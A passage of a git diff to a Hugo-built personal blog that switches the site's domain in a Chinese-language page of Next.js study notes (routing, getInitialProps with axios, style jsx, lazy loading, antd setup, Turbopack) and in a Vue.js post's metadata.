return(test) } export default Demo Next会自动完成路由配置\n自定义组件\n/components/demo.js\nexport default ({data})=\u003e{data} 导入组件\nimport Demo from '../components/demo' ... test 搭配Axios获取远端数据（Next中提供了getInitialProps方法来获取）\n/pages/demo.js\nimport axios from 'axios' Demo.getInitialProps = async ()=\u003e{ const promise =new Promise((resolve)=\u003e{ axios('https://xiaochenabc123.test.com/feed/').then( (res)=\u003e{ console.log('远程数据结果：',res) resolve(res.data.data) } ) }) return await promise } Next CSS(style jsx)\n注意：使用style jsx了，Next会自动生成一个随机类名，来避免CSS的全局污染\nLazyLoading 模块懒加载\nfunction MainData(){ const Data= async ()=\u003e{ const axios = await import('axios') ... } 当该函数触发异步加载该模块\n懒加载组件\nimport dynamic from ’next/dynamic' const Demo = dynamic(import(’../components/Demo’))\n只有当需要用到组件才会被加载，利用的是next提供dynamic模块\n自定义（next自身已经定义了head组件，只需要导入就是可以用了）\nimport Head from 'next/head' const Header = ()=\u003e{ return ( \u003c\u003e 小陈的辣鸡屋 \u003c/\u003e ) } export default Header antd依赖\n安装next css配置\nNextJS使用@zeit/next-css将会警告，请卸载@zeit/next-css\nWarning: Built-in CSS support is being disabled due to custom CSS configuration being detected.\nantd 按需加载（babel-plugin-import）（当需要哪个组件才会加载到生产环境中，而且不是整个antd）\nyarn add babel-plugin-import\n根目录新建.babelrc配置\n{ \"presets\":[\"next/babel\"], \"plugins\":[ [ \"import\", { \"libraryName\":\"antd\", \"style\":\"css\" } ] ] } Turbopack是基于Rust开发的打包器，使用Rust的SWC编译器，Turbopack将作为Nextjs的开发服务端，提供强大的HMR支持，目前还在alpha测试中，可以通过yarn dev –turbo运行next13项目体验\nTurbopack基于Rust开源的Turbo记忆化框架，Turbo可以缓存函数的结果（存储在内存中，只有当停止dev服务时清除缓存，但是Turbopack也提供了远程缓存来对于生产环境的使用（基于Git）），第二次运行时，不会执行函数，而是直接使用结果，除非发生改变\n","wordCount":"367","inLanguage":"en","datePublished":"2021-08-07T23:26:00Z","dateModified":"2021-08-07T23:26:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/74/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>NextJS学习笔记</h1><div class=post-meta><span title='2021-08-07 23:26:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/NextJS%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能</p><p>服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览</p><p>SPA：</p><p>全称single page web application</p><p>单一页面，加载慢，百度目前不支持spa的SEO</p><p>NextJS：</p><p>服务端渲染，服务端和客户端数据同步，插件丰富，搭建轻量，灵活配置</p><p>手动配置：</p><p>yarn add react react-dom next</p><p>yarn init</p><p>修改package.json文件</p><p>在scripts下加添加</p><p>&ldquo;dev&rdquo; : &ldquo;next&rdquo;,
 &ldquo;build&rdquo;: &ldquo;next build&rdquo;,
-&ldquo;start&rdquo;: &ldquo;next start&rdquo;</p><p>创建个js文件</p><pre><code>function Hallo(){
-    return(
-        &lt;div&gt;hallo next.js&lt;/div&gt;
-    )
-}
-export default Hallo
-</code></pre><p>yarn dev调试</p><p>如果浏览器输出正确则配置成功</p><p>通过create-next-app脚手架创建项目</p><p>npm install create-next-app -g</p><p>或者</p><p>yarn add create-next-app -g</p><p>创建create-next-app项目</p><p>npx create-next-app demo</p><p>或者</p><p>yarn create-next-app demo</p><p>跑create-next-app项目</p><p>yarn dev</p><p>访问http://localhost:3000/，正常显示网页则配置正常</p><hr><p>编程式跳转</p><pre><code>import Link from &quot;next/link&quot;
-&lt;Link href=&quot;/&quot;&gt;&lt;a&gt;返回&lt;/a&gt;&lt;/Link&gt;
-</code></pre><p>Link不支持直接加兄弟标签，起码要有一个父级标签</p><p>利用Router实现跳转</p><pre><code>import Router from &quot;next/router&quot;
-&lt;button onClick={()=&gt;{Router.push(&quot;/&quot;)}}&gt;返回&lt;/button&gt;
-</code></pre><p>路由跳转通过query传递参数和接收参数</p><p>传递参数</p><pre><code>&lt;Link href=&quot;/hallo?name=hallo&quot;&gt;&lt;a&gt;返回&lt;/a&gt;&lt;/Link&gt;
-</code></pre><p>接收参数</p><pre><code>import {withRouter} from &quot;next/router&quot;
-const Hallo = ({router}) =&gt;{
-    return(
-        &lt;div&gt;
-            &lt;div&gt;{router.query.name} word&lt;/div&gt;
-            &lt;Link href=&quot;/&quot;&gt;&lt;a&gt;返回&lt;/a&gt;&lt;Link&gt;
-        &lt;/div&gt;
-    )
-}
-export default withRouter(Hallo)
-</code></pre><p>也是可以用编程式跳转的方式</p><p>函数的方式</p><pre><code>function goData(){
-    Router.push('/hallo?name=hallo')
-}
-</code></pre><p>或者用对象的方式</p><pre><code>Router.push({
-    pathname: &quot;/hallo&quot;,
-    query: {name: &quot;hallo&quot;}
-})
-</code></pre><p>路由的钩子函数</p><p>routeChangeStart // 路由将发生变化的时候触发</p><p>routeChangeComplete // 路由发生变化完成</p><p>beforeHistoryChange // 在history触发前，nextjs路由变化默认是通过history进行的</p><p>正常情况下先触发routeChangeStart，然后beforeHistoryChange，再触发routeChangeComplete</p><p>routeChangeError // 路由变化发生错误时</p><p>hashChangeStart // hash路由将发生变化的时候触发</p><p>hashChangeComplete // hash路由发生变化完成</p><p>hash路由（锚点）</p><pre><code>&lt;div&gt;
-    &lt;Link href=&quot;#hallo&quot;&gt;&lt;a&gt;选hallo&lt;/a&gt;&lt;/Link&gt;
-&lt;/div&gt;
-</code></pre><p>钩子触发调用自定义函数</p><pre><code>Router.push.on(&quot;routeChangeStart&quot;,(...url)=&gt;{
-    console.log(&quot;routeChangeStart触发&quot;,...url)
-})
-</code></pre><p>axios从远端获取数据</p><pre><code>import axios from &quot;axios&quot;
-Hallo.getInitialProps = async() =&gt;{
-    const promise = new Promise((resolve)=&gt;{
-        axios(&quot;url&quot;).then(
-            (datas)=&gt;{
-                console.log(datas)
-                resolve(datas.data.data)
-            }
-        )
-    })
-    return await promise
-}
-export default withRouter(Hallo)
-</code></pre><p>Style JSX，Next.js</p><pre><code>&lt;style jsx&gt;
-    {`
-        div{color: red;}
-        .post{color: red;}
-    `}
-&lt;/style&gt;
-</code></pre><p>使用jsx，nextjs会自动加入随机类名，防止css污染</p><p>自定义Head</p><pre><code>import Head from &quot;next/head&quot;
-...
-...
-&lt;Head&gt;
-    &lt;title&gt;hallo word&lt;/title&gt;
-&lt;/Head&gt;
-</code></pre><p>next打包</p><p>next build</p><p>运行</p><p>next start -p 8000</p><p>如果使用antd，打包失败，可以在page目录下建_app.js文件</p><pre><code>import App from 'next/app'
-import 'antd/dist/antd.css'
-export default App
-</code></pre><p>然后再打包</p><hr><p>页面</p><p>/pages/demo.js</p><pre><code>function Demo(){
-    return(&lt;h2&gt;test&lt;/h2&gt;)
-}
-export default Demo
-</code></pre><p>Next会自动完成路由配置</p><p>自定义组件</p><p>/components/demo.js</p><pre><code>export default ({data})=&gt;&lt;h2&gt;{data}&lt;/h2&gt;
-</code></pre><p>导入组件</p><pre><code>import Demo from '../components/demo'
-...
-&lt;Demo&gt;test&lt;/Demo&gt;
-</code></pre><hr><p>搭配Axios获取远端数据（Next中提供了getInitialProps方法来获取）</p><p>/pages/demo.js</p><pre><code>import axios from 'axios'
-Demo.getInitialProps = async ()=&gt;{
-    const promise =new Promise((resolve)=&gt;{
-            axios('https://xiaochenabc123.test.com/feed/').then(
-                (res)=&gt;{
-                    console.log('远程数据结果：',res)
-                    resolve(res.data.data)
-                }
-            )
-    })
-    return await promise
-}
-</code></pre><hr><p>Next CSS(style jsx)</p><pre><code>&lt;style jsx&gt;
-    {`
-        h2{color: #000;}
-    `}
-&lt;/style&gt;
-</code></pre><p>注意：使用style jsx了，Next会自动生成一个随机类名，来避免CSS的全局污染</p><hr><p>LazyLoading 模块懒加载</p><pre><code>function MainData(){
-    const Data= async ()=&gt;{ 
-        const axios = await import('axios')
-        ...
-    }            
-</code></pre><p>当该函数触发异步加载该模块</p><p>懒加载组件</p><p>import dynamic from &rsquo;next/dynamic&rsquo;
-const Demo = dynamic(import(&rsquo;../components/Demo&rsquo;))</p><p>只有当需要用到组件才会被加载，利用的是next提供dynamic模块</p><hr><p>自定义（next自身已经定义了head组件，只需要导入就是可以用了）</p><pre><code>import Head from 'next/head'
-const Header = ()=&gt;{
-    return (
-        &lt;&gt;
-            &lt;Head&gt;
-                &lt;title&gt; 小陈的辣鸡屋 &lt;/title&gt;   
-            &lt;/Head&gt;
-        &lt;/&gt;
-    )
-}
-export default Header
-</code></pre><hr><p>antd依赖</p><p>安装next css配置</p><p>NextJS使用@zeit/next-css将会警告，请卸载@zeit/next-css</p><p>Warning: Built-in CSS support is being disabled due to custom CSS configuration being detected.</p><p>antd 按需加载（babel-plugin-import）（当需要哪个组件才会加载到生产环境中，而且不是整个antd）</p><p>yarn add babel-plugin-import</p><p>根目录新建.babelrc配置</p><pre><code>{
-    &quot;presets&quot;:[&quot;next/babel&quot;],
-    &quot;plugins&quot;:[     
-        [
-            &quot;import&quot;,
-            {
-                &quot;libraryName&quot;:&quot;antd&quot;,
-                &quot;style&quot;:&quot;css&quot;
-            }
-        ]
-    ]
-}
-</code></pre><hr><p>Turbopack是基于Rust开发的打包器，使用Rust的SWC编译器，Turbopack将作为Nextjs的开发服务端，提供强大的HMR支持，目前还在alpha测试中，可以通过yarn dev &ndash;turbo运行next13项目体验</p><p>Turbopack基于Rust开源的Turbo记忆化框架，Turbo可以缓存函数的结果（存储在内存中，只有当停止dev服务时清除缓存，但是Turbopack也提供了远程缓存来对于生产环境的使用（基于Git）），第二次运行时，不会执行函数，而是直接使用结果，除非发生改变</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/react/>React</a></li><li><a href=https://xiaochenabc123.github.io/tags/nextjs/>NextJS</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/76/><span class=title>« Prev</span><br><span>MongoDB学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/75/><span class=title>Next »</span><br><span>深入学习vuejs</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+&ldquo;start&rdquo;: &ldquo;next start&rdquo;</p><p>创建个js文件</p><pre><code>function Hallo(){
+    return(
+        &lt;div&gt;hallo next.js&lt;/div&gt;
+    )
+}
+export default Hallo
+</code></pre><p>yarn dev调试</p><p>如果浏览器输出正确则配置成功</p><p>通过create-next-app脚手架创建项目</p><p>npm install create-next-app -g</p><p>或者</p><p>yarn add create-next-app -g</p><p>创建create-next-app项目</p><p>npx create-next-app demo</p><p>或者</p><p>yarn create-next-app demo</p><p>跑create-next-app项目</p><p>yarn dev</p><p>访问http://localhost:3000/，正常显示网页则配置正常</p><hr><p>编程式跳转</p><pre><code>import Link from &quot;next/link&quot;
+&lt;Link href=&quot;/&quot;&gt;&lt;a&gt;返回&lt;/a&gt;&lt;/Link&gt;
+</code></pre><p>Link不支持直接加兄弟标签，起码要有一个父级标签</p><p>利用Router实现跳转</p><pre><code>import Router from &quot;next/router&quot;
+&lt;button onClick={()=&gt;{Router.push(&quot;/&quot;)}}&gt;返回&lt;/button&gt;
+</code></pre><p>路由跳转通过query传递参数和接收参数</p><p>传递参数</p><pre><code>&lt;Link href=&quot;/hallo?name=hallo&quot;&gt;&lt;a&gt;返回&lt;/a&gt;&lt;/Link&gt;
+</code></pre><p>接收参数</p><pre><code>import {withRouter} from &quot;next/router&quot;
+const Hallo = ({router}) =&gt;{
+    return(
+        &lt;div&gt;
+            &lt;div&gt;{router.query.name} word&lt;/div&gt;
+            &lt;Link href=&quot;/&quot;&gt;&lt;a&gt;返回&lt;/a&gt;&lt;Link&gt;
+        &lt;/div&gt;
+    )
+}
+export default withRouter(Hallo)
+</code></pre><p>也是可以用编程式跳转的方式</p><p>函数的方式</p><pre><code>function goData(){
+    Router.push('/hallo?name=hallo')
+}
+</code></pre><p>或者用对象的方式</p><pre><code>Router.push({
+    pathname: &quot;/hallo&quot;,
+    query: {name: &quot;hallo&quot;}
+})
+</code></pre><p>路由的钩子函数</p><p>routeChangeStart // 路由将发生变化的时候触发</p><p>routeChangeComplete // 路由发生变化完成</p><p>beforeHistoryChange // 在history触发前，nextjs路由变化默认是通过history进行的</p><p>正常情况下先触发routeChangeStart，然后beforeHistoryChange，再触发routeChangeComplete</p><p>routeChangeError // 路由变化发生错误时</p><p>hashChangeStart // hash路由将发生变化的时候触发</p><p>hashChangeComplete // hash路由发生变化完成</p><p>hash路由（锚点）</p><pre><code>&lt;div&gt;
+    &lt;Link href=&quot;#hallo&quot;&gt;&lt;a&gt;选hallo&lt;/a&gt;&lt;/Link&gt;
+&lt;/div&gt;
+</code></pre><p>钩子触发调用自定义函数</p><pre><code>Router.push.on(&quot;routeChangeStart&quot;,(...url)=&gt;{
+    console.log(&quot;routeChangeStart触发&quot;,...url)
+})
+</code></pre><p>axios从远端获取数据</p><pre><code>import axios from &quot;axios&quot;
+Hallo.getInitialProps = async() =&gt;{
+    const promise = new Promise((resolve)=&gt;{
+        axios(&quot;url&quot;).then(
+            (datas)=&gt;{
+                console.log(datas)
+                resolve(datas.data.data)
+            }
+        )
+    })
+    return await promise
+}
+export default withRouter(Hallo)
+</code></pre><p>Style JSX，Next.js</p><pre><code>&lt;style jsx&gt;
+    {`
+        div{color: red;}
+        .post{color: red;}
+    `}
+&lt;/style&gt;
+</code></pre><p>使用jsx，nextjs会自动加入随机类名，防止css污染</p><p>自定义Head</p><pre><code>import Head from &quot;next/head&quot;
+...
+...
+&lt;Head&gt;
+    &lt;title&gt;hallo word&lt;/title&gt;
+&lt;/Head&gt;
+</code></pre><p>next打包</p><p>next build</p><p>运行</p><p>next start -p 8000</p><p>如果使用antd，打包失败，可以在page目录下建_app.js文件</p><pre><code>import App from 'next/app'
+import 'antd/dist/antd.css'
+export default App
+</code></pre><p>然后再打包</p><hr><p>页面</p><p>/pages/demo.js</p><pre><code>function Demo(){
+    return(&lt;h2&gt;test&lt;/h2&gt;)
+}
+export default Demo
+</code></pre><p>Next会自动完成路由配置</p><p>自定义组件</p><p>/components/demo.js</p><pre><code>export default ({data})=&gt;&lt;h2&gt;{data}&lt;/h2&gt;
+</code></pre><p>导入组件</p><pre><code>import Demo from '../components/demo'
+...
+&lt;Demo&gt;test&lt;/Demo&gt;
+</code></pre><hr><p>搭配Axios获取远端数据（Next中提供了getInitialProps方法来获取）</p><p>/pages/demo.js</p><pre><code>import axios from 'axios'
+Demo.getInitialProps = async ()=&gt;{
+    const promise =new Promise((resolve)=&gt;{
+            axios('https://xiaochenabc123.test.com/feed/').then(
+                (res)=&gt;{
+                    console.log('远程数据结果：',res)
+                    resolve(res.data.data)
+                }
+            )
+    })
+    return await promise
+}
+</code></pre><hr><p>Next CSS(style jsx)</p><pre><code>&lt;style jsx&gt;
+    {`
+        h2{color: #000;}
+    `}
+&lt;/style&gt;
+</code></pre><p>注意：使用style jsx了，Next会自动生成一个随机类名，来避免CSS的全局污染</p><hr><p>LazyLoading 模块懒加载</p><pre><code>function MainData(){
+    const Data= async ()=&gt;{ 
+        const axios = await import('axios')
+        ...
+    }            
+</code></pre><p>当该函数触发异步加载该模块</p><p>懒加载组件</p><p>import dynamic from &rsquo;next/dynamic'
+const Demo = dynamic(import(&rsquo;../components/Demo&rsquo;))</p><p>只有当需要用到组件才会被加载，利用的是next提供dynamic模块</p><hr><p>自定义（next自身已经定义了head组件，只需要导入就是可以用了）</p><pre><code>import Head from 'next/head'
+const Header = ()=&gt;{
+    return (
+        &lt;&gt;
+            &lt;Head&gt;
+                &lt;title&gt; 小陈的辣鸡屋 &lt;/title&gt;   
+            &lt;/Head&gt;
+        &lt;/&gt;
+    )
+}
+export default Header
+</code></pre><hr><p>antd依赖</p><p>安装next css配置</p><p>NextJS使用@zeit/next-css将会警告，请卸载@zeit/next-css</p><p>Warning: Built-in CSS support is being disabled due to custom CSS configuration being detected.</p><p>antd 按需加载（babel-plugin-import）（当需要哪个组件才会加载到生产环境中，而且不是整个antd）</p><p>yarn add babel-plugin-import</p><p>根目录新建.babelrc配置</p><pre><code>{
+    &quot;presets&quot;:[&quot;next/babel&quot;],
+    &quot;plugins&quot;:[     
+        [
+            &quot;import&quot;,
+            {
+                &quot;libraryName&quot;:&quot;antd&quot;,
+                &quot;style&quot;:&quot;css&quot;
+            }
+        ]
+    ]
+}
+</code></pre><hr><p>Turbopack是基于Rust开发的打包器，使用Rust的SWC编译器，Turbopack将作为Nextjs的开发服务端，提供强大的HMR支持，目前还在alpha测试中，可以通过yarn dev &ndash;turbo运行next13项目体验</p><p>Turbopack基于Rust开源的Turbo记忆化框架，Turbo可以缓存函数的结果（存储在内存中，只有当停止dev服务时清除缓存，但是Turbopack也提供了远程缓存来对于生产环境的使用（基于Git）），第二次运行时，不会执行函数，而是直接使用结果，除非发生改变</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/react/>React</a></li><li><a href=https://chenjunlinabc.github.io/tags/nextjs/>NextJS</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/76/><span class=title>« Prev</span><br><span>MongoDB学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/75/><span class=title>Next »</span><br><span>深入学习vuejs</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/75/index.html b/posts/75/index.html
index 45814503..50309580 100644
--- a/posts/75/index.html
+++ b/posts/75/index.html
@@ -20,8 +20,8 @@
 yarn start/yarn run dev
 如果运行报错error Component name &ldquo;Home&rdquo; should always be multi-word vue/multi-word-component-names
 只需要在vue.config.js添加lintOnSave: false配置，例如：
-module.exports = defineConfig({
transpileDependencies: true,
lintOnSave: false
})
这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/75/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="深入学习vuejs"><meta property="og:description" content="Vue CLI是vue官方脚手架，可以快速创建vue项目
+module.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/75/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="深入学习vuejs"><meta property="og:description" content="Vue CLI是vue官方脚手架，可以快速创建vue项目
 安装vue-cli3
 npm install -g @vue/cli
 或者
@@ -43,7 +43,7 @@
 yarn start/yarn run dev
 如果运行报错error Component name &ldquo;Home&rdquo; should always be multi-word vue/multi-word-component-names
 只需要在vue.config.js添加lintOnSave: false配置，例如：
-module.exports = defineConfig({
transpileDependencies: true,
lintOnSave: false
})
这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/75/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-07T23:25:00+00:00"><meta property="article:modified_time" content="2021-08-07T23:25:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="深入学习vuejs"><meta name=twitter:description content="Vue CLI是vue官方脚手架，可以快速创建vue项目
+module.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/75/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-07T23:25:00+00:00"><meta property="article:modified_time" content="2021-08-07T23:25:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="深入学习vuejs"><meta name=twitter:description content="Vue CLI是vue官方脚手架，可以快速创建vue项目
 安装vue-cli3
 npm install -g @vue/cli
 或者
@@ -65,442 +65,442 @@
